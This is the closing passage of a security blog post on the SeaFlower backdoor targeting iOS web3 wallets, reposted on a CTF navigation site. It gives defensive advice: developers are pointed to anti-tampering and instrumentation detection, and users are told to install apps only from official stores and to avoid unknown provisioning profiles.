Definitely not an easy one when it comes to protecting crypto-related software like mobile web3 wallets used by millions of people.

What we write in this section won’t prevent a skilled or determined attacker from tampering with your apps, but there are some easy fixes that could cost money and time to your attackers.

First of all, know and understand your attack surface (hopefully this blog can help), as well as reading “iOS Tampering and Reverse Engineering” document which lists different attack surfaces crypto wallets could be exposed to.

Secondly, make your stuff harder to break 🙂 Detecting inline hooks, injected libraries, detecting instrumentation tools, etc.. are well-known and documented topics.

For Web3 users

Always download mobile apps from official stores: Apple AppStore & Play Store.

Never install or accept random provisioning profiles on your iPhone, as you saw in this blog post, they allow the download of unverified software that could potentially steal your crypto.

 

 

版权声明:admin 发表于 2022年6月14日 下午7:54。
转载请注明:SeaFlower 藏海花 A backdoor targeting iOS web3 wallets | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...